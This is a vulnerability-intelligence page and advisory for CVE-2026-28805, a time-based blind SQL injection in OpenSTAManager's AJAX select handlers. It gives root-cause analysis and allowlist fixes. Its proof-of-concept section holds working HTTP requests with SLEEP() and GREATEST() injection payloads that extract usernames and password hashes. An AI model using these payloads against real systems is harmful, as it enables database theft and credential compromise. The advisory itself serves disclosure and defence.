PHP
CVE-2026-28805
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to OpenSTAManager
-
ExploitSubmit crafted SQL payload in options[stato] parameter
-
ExecutionInject time-based blind SQL queries
-
ImpactExtract database contents via timing delays
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Authenticated user account required; vulnerable AJAX select handlers accepting options[stato] GET parameter without sanitization in OpenSTAManager versions <= 2.10.1; MySQL database backend. |
| Impact | This vulnerability presents significant real-world risk despite the authentication requirement. The CVSS 8.8 score accurately reflects severity: network attack vector (AV:N) allows remote exploitation without physical access, low complexity (AC:L) means no specialized conditions are required beyond authentication, low privileges (PR:L) means any authenticated user can exploit regardless of role, and complete CIA impact (C:H/I:H/A:H) enables full database compromise. The researcher successfully demonstrated data exfiltration of sensitive credentials and system information using time-based blind injection techniques with SLEEP() functions and GREATEST() to bypass HTMLPurifier's greater-than stripping. Authentication requirements not confirmed from available data in original input, but CVSS PR:L indicates low-privilege access suffices-this is a realistic threat model since business management applications typically have many low-privilege users (employees, contractors, customers). No public exploit identified at time of analysis beyond the detailed researcher PoC, and no EPSS or KEV data provided, but the combination of working PoC code, clear exploitation steps, and high-value target data (financial records, credentials, PII) makes this an attractive target. The SSVC framework would rate this as considerable exploitation potential (public PoC exists), automatable once weaponized (straightforward HTTP requests), and high technical impact (arbitrary database read/write). The presence of vendor patches in version 2.10.2 mitigates urgency slightly but organizations running unpatched versions face immediate risk from authenticated insiders or compromised low-privilege accounts. |
| Exploit ScenarioDerived | An authenticated user crafts a time-based blind SQL injection payload in the options[stato] GET parameter. By observing response delays from SLEEP() or BENCHMARK() functions, the attacker systematically extracts sensitive data like usernames, password hashes, and financial records from the database. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 01, 2026
Time-based blind SQL injection in OpenSTAManager ≤2.10.1 allows authenticated users to extract complete database contents including credentials, financial records, and PII through multiple AJAX select handlers. The vulnerability affects three core modules (preventivi, ordini, contratti) where the options[stato] GET parameter is concatenated directly into SQL WHERE clauses without validation. Exploitation requires only low-privilege authentication (CVSS PR:L) and has been confirmed with working
Earlier versions of this analysis (1)
Time-based blind SQL injection in OpenSTAManager ≤2.10.1 allows authenticated users to extract complete database contents including credentials, financial records, and PII through multiple AJAX select handlers. The vulnerability affects three core modules (preventivi, ordini, contratti) where the options[stato] GET parameter is concatenated directly into SQL WHERE clauses without validation. Exploitation requires only low-privilege authentication (CVSS PR:L) and has been confirmed with working proof-of-concept code demonstrating 10-second SLEEP delays and successful extraction of admin username, bcrypt password hashes, and MySQL version. Vendor-released patches are available in version 2.10.2 via commits 50b9089 and 679c40f. No public exploit identified at time of analysis beyond researcher PoC, with CVSS 8.8 (High) reflecting network accessibility, low complexity, and complete confidentiality/integrity/availability impact.
RemediationAI
Upgrade immediately to OpenSTAManager version 2.10.2 or later, released on GitHub at https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2. The vendor has released patches in commits 50b9089c506ba2ca249afb1dfead2af5d42c10e7 and 679c40fa5b3acad4263b537f367c0695ff9666dc, available at the patch URLs in the security advisory. The fix implements allowlist validation for the stato parameter in all three affected modules, restricting accepted values to known-safe column names like is_pianificabile, is_completato, is_fatturabile, and is_concluso. If immediate patching is not feasible, implement temporary workarounds by adding strict allowlist validation in modules/preventivi/ajax/select.php, modules/ordini/ajax/select.php, and modules/contratti/ajax/select.php before the WHERE clause construction. Example code: check if superselect['stato'] exists in a predefined array of permitted values using in_array(), defaulting to a safe value if validation fails. Additionally, apply web application firewall (WAF) rules to block requests containing SQL keywords (SELECT, SLEEP, UNION, IF) in the options[stato] parameter, though this is defense-in-depth only and not a substitute for patching. Organizations should audit
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
OpenSTAManager is a PHP-based business management application using MySQL for data persistence. The vulnerability stems from a fundamental misunderstanding of input sanitization versus SQL injection prevention. Three AJAX select handlers in modules/preventivi/ajax/select.php (line 60), modules/ordini/ajax/select.php (line 52), and modules/contratti/ajax/select.php (line 57) read user-controlled options[stato] values through the filter('options') function, which applies HTMLPurifier sanitization. HTMLPurifier strips HTML tags and the greater-than character but preserves SQL metacharacters (parentheses, equals, commas) and keywords (SELECT, SLEEP, IF, UNION). The sanitized value flows through AJAX::select() into AJAX::getSelectResults(), where it populates $superselect['stato'] and is directly concatenated into SQL WHERE clauses as bare expressions like ({user_input} = 1) or column references like table.{user_input} = 1. This represents CWE-89 (SQL Injection) where dynamic query construction treats user input as code rather than data. The application uses Query::executeAndCount() for final execution, but by that point the malicious SQL is already embedded. The attack works despite HTMLPurifier sanitization because SQL injection requires sanitization at the SQL layer (parameterized queries or identifier whitelisting), not the HTML layer.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/devcode-it/openstamanager) · only source for this CVE.
CVSS VectorVendor: https://github.com/devcode-it/openstamanager
Lifecycle Timeline
2DescriptionCVE.org
Description
Multiple AJAX select handlers in OpenSTAManager <= 2.10.1 are vulnerable to Time-Based Blind SQL Injection through the options[stato] GET parameter. The user-supplied value is read from $superselect['stato'] and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation.
An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database.
Affected Endpoints
Three modules share the same vulnerability pattern:
1. Preventivi (Quotes) - Primary
- Endpoint:
GET /ajax_select.php?op=preventivi - File:
modules/preventivi/ajax/select.php, line 60 - Required parameters:
options[idanagrafica](any valid ID)
Vulnerable code:
// modules/preventivi/ajax/select.php, lines 59-60
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '('.$stato.' = 1)';The $stato variable is inserted as a bare expression inside parentheses. The resulting SQL fragment becomes ({user_input} = 1), allowing an attacker to break out of the expression and inject arbitrary SQL.
2. Ordini (Orders)
- Endpoint:
GET /ajax_select.php?op=ordini-cliente - File:
modules/ordini/ajax/select.php, line 52 - Required parameters:
options[idanagrafica](any valid ID)
Vulnerable code:
// modules/ordini/ajax/select.php, lines 51-52
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';The $stato variable is inserted as a column name reference. The resulting SQL fragment becomes ` or_statiordine.{user_input} = 1 `, allowing injection after the table-column reference.
3. Contratti (Contracts)
- Endpoint:
GET /ajax_select.php?op=contratti - File:
modules/contratti/ajax/select.php, line 57 - Required parameters:
options[idanagrafica](any valid ID)
Vulnerable code:
// modules/contratti/ajax/select.php, lines 56-57
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';The $stato variable is inserted inside a subquery. The resulting SQL fragment becomes WHERE {user_input} = 1), allowing an attacker to close the subquery and inject into the outer query.
Root Cause Analysis
Data Flow
- The attacker sends a GET request with
options[stato]=<payload>to/ajax_select.php ajax_select.php(line 30) reads the value viafilter('options'), which applies HTMLPurifier sanitization- HTMLPurifier strips HTML tags and the
>character, but does NOT strip SQL keywords (SELECT,SLEEP,IF,UNION, etc.) or SQL-significant characters ((,),=,', etc.) - The sanitized value is passed to
AJAX::select()insrc/AJAX.php(line 40) AJAX::getSelectResults()assigns$superselect = $options(line 273) andrequires the module'sselect.phpfile (line 275)- The module's
select.phpreads$superselect['stato']and concatenates it directly into the$where[]array AJAX::selectResults()joins all WHERE elements withANDand executes the query viaQuery::executeAndCount()(line 120)
Why HTMLPurifier is Insufficient
HTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is not an SQL injection prevention mechanism. Specifically:
- It does not strip SQL keywords:
SELECT,SLEEP,IF,UNION,FROM,WHERE - It does not strip SQL operators:
=,(,),,,+,-,* - It strips the
>character (used in HTML), which can be bypassed using MySQL'sGREATEST()function - It provides zero protection against SQL injection
Proof of Concept
Prerequisites
- A valid user account on the OpenSTAManager instance (any privilege level)
- Network access to the application
Step 1: Authenticate
POST /index.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
op=login&username=<user>&password=<pass>Save the PHPSESSID cookie from the Set-Cookie response header.
Step 2: Verify Injection (SLEEP test)
Baseline request (normal response time ~200ms):
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>Injection request (response time ~10 seconds):
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>Expected result: The response is delayed by approximately 10 seconds, confirming that the SLEEP(10) function was executed by the database server. The response body in both cases is identical: {"results":[],"recordsFiltered":0}.
<img width="934" height="491" alt="image" src="https://github.com/user-attachments/assets/27beff84-3e25-43e1-b484-76db25c0faa8" />
Step 3: Data Extraction (demonstrating impact)
Using binary search with time-based boolean conditions, an attacker can extract arbitrary data. The > character is stripped by HTMLPurifier, so the GREATEST() function is used as an equivalent:
Extract username length:
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1This technique was used to successfully extract:
- Username:
admin(5 characters, extracted character by character) - Password hash prefix:
$2y$10$qAo04wNbhR9cpxjHzrtcnu...(bcrypt) - MySQL version:
8.3.0
PoC for Other Endpoints
Ordini (orders):
GET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1Contratti (contracts):
GET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1Both endpoints show the same SLEEP-based timing delay, confirming the injection.
Impact
- Confidentiality: An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration.
- Integrity: With MySQL's
INSERT/UPDATEcapabilities via subqueries, an attacker may be able to modify data. - Availability: An attacker can execute
SLEEP()with large values or resource-intensive queries to cause denial of service.
Proposed Remediation
Option A: Allowlist Validation (Recommended)
Replace the direct concatenation with an allowlist of permitted column names:
// modules/preventivi/ajax/select.php - FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile', 'is_concluso'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_pianificabile';
$where[] = '('.$stato.' = 1)';// modules/ordini/ajax/select.php - FIXED
$allowed_stati = ['is_fatturabile', 'is_evadibile', 'is_completato'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';// modules/contratti/ajax/select.php - FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';This approach is recommended because the stato parameter represents a database column name (not a value), so prepared statements cannot be used here. The allowlist ensures only known-safe column names are accepted.
Option B: Regex Validation (Alternative)
If the set of column names is dynamic, validate the format strictly:
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
if (!preg_match('/^[a-z_]+$/i', $stato)) {
$stato = 'is_pianificabile'; // fallback to safe default
}
$where[] = '('.$stato.' = 1)';This ensures only alphabetic characters and underscores are accepted, preventing any SQL injection.
Option C: Backtick Quoting (Supplementary)
In addition to validation, wrap the column name in backticks to treat it as an identifier:
$where[] = '(`'.str_replace('`', '', $stato).'` = 1)';Note: This alone is insufficient without input validation but provides defense-in-depth.
Global Recommendation
Audit all usages of $superselect across the codebase. Any value from $superselect that is used as part of a SQL expression (not as a parameterized value) must be validated against an allowlist. The prepare() function is already used correctly in other parts of the code - the issue is specifically where $superselect values are used as column names or bare expressions.
Credits
Omar Ramirez
Executive ViewAI
OpenSTAManager versions 2.10.1 and earlier contain a SQL injection vulnerability in multiple modules that allows authenticated users to extract sensitive database contents including credentials, financial records, and personally identifiable information. Organizations using OpenSTAManager must upgrade immediately, as the vulnerability requires only low-privilege user access and enables complete compromise of confidential data stored in the application database.
Apply vendor patch to OpenSTAManager 2.10.2 or later. Prior to patching, implement network-level access controls to restrict AJAX requests to preventivi, ordini, and contratti modules; disable low-privilege user accounts not requiring system access; and monitor database logs for time-based query anomalies (SLEEP statements or unusual query delays).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-3gw8-3mg3-jmpc
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB